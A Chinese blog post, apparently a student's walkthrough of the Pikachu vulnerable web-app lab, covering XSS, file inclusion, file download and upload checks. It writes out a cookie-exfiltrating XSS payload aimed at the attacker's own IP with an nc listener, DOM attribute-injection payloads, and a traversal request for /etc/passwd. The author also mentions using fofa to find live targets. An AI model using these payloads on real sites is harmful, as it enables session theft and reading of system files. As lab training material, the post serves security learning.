Pikachu 刷题日记
Pikachu
前言
之前的图床用的是博客园的,不知道为什么会突然之间加载不了在这个网站上。。诸君凑合看吧
XSS:
学校老师要求的更加实战点:使用nc接受反弹的cookies,但是作者不愿意自己手动搭建靶场,都是用fofa现搜一个现做,又没有公网服务器方便监听反弹,故简单阐述过程,当然也会给出反弹的payload,实际上的反弹还是比较简单的,nc的使用参考反弹shell
1.Get反射型XSS
一般来说都是可以直接利用js弹cookies,此处应老师的实验要求,使用nc监听反弹出来的cookies
观察我们输入普通的参数时,url处出现我们输入的任意的东西

所需要的Payload如下:
<script>document.write('<img src="http://我们自己的ip地址:自定义端口/?'+document.cookie+'"/>');</script>那么选择直接在url处传参,并且启动ncat,监听1234端口

传入构造的payload即可得到反弹的cookies
2.POST反射型XSS
这题和上面的基本思路一致,没有做任何的过滤,唯一的区别就是传参的方式变成了post:

在抓包工具里面改是不会有回显的,无论是直接用alert弹还是用nc去接收
经过F12检查之后发现此处并没有对输入框进行限制字数以及字符之类的
在这里我们直接输入payload即可
<script>alert(document.cookie);</script>如果需要反弹,此处自行替换成反弹cookies的payload即可,记得用nc监听相关端口

3.储存型xss
没什么好说的,只是储存的类型不一样,留言的数据从数据库调出的时候会自动被解析成js代码运行
payload还是一样的:
<script>alert(document.cookie);</script>
4.DOM型XSS
观察此处:输入的内容会生成一个a标签链接拼接在下方

直接查看源代码
<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>重点在这一句
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";可以看到,验证了我们的猜想:就是纯粹的拼接,那么事情变简单了,想要做到调用js弹出cookies,则先要闭合掉这个a标签,再去调用相关的alert函数
相关的payload:
#' onclick="alert(document.cookie);">
唯一需要注意的地方就是:此处不需要再用script来包裹了,而是直接调用onclick方法来执行js函数
5.DOM型XSS-X
依然观察一下,发现现在的连接不是直接的拼接了,而是通过post方法去复制给一个参数text,令text=输入的消息

让我们看到源代码:发现原理也是拼接
<div id="xssd_main">
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');// alert(xss);
<div id="xssd_main">
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
document.getElementById("dom").innerHTML = "<a ref='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
</div>就可以构造payload了:也是和上一题一样
#' onclick="alert(document.cookie);">
文件包含:
1.本地文件包含
观察:这个功能的实现是通过get方法来传参,相关的文件file1.php是本地存储在网站目录

所以我们可以构造相关的穿越payload来获取相关的文件,获得文件任意读取漏洞

2.远程文件包含
这题和上面那题一样,唯一的区别就是file的文件链接变成了通过https来请求相关的文件目录,
我们可以在自己的公网服务器上部署一个相关的木马并且通过这个文件外连接去包含

文件下载:
1.任意文件下载
观察可得:此处的文件下载渠道为下载当前目录下的文件,此处可以构造payload去进行目录穿越,下载/etc/passed
构造payload:
GET /vul/unsafedownload/execdownload.php?filename=../../../../etc/passwd此处“ ../ ”只要大到一定的数量,一定会回到根目录下

文件上传:
1.client check
client check 又名客户端检查,通常用js代码在前端实践
只要禁用前端的js使用,编写一句话木马即可实现上传:

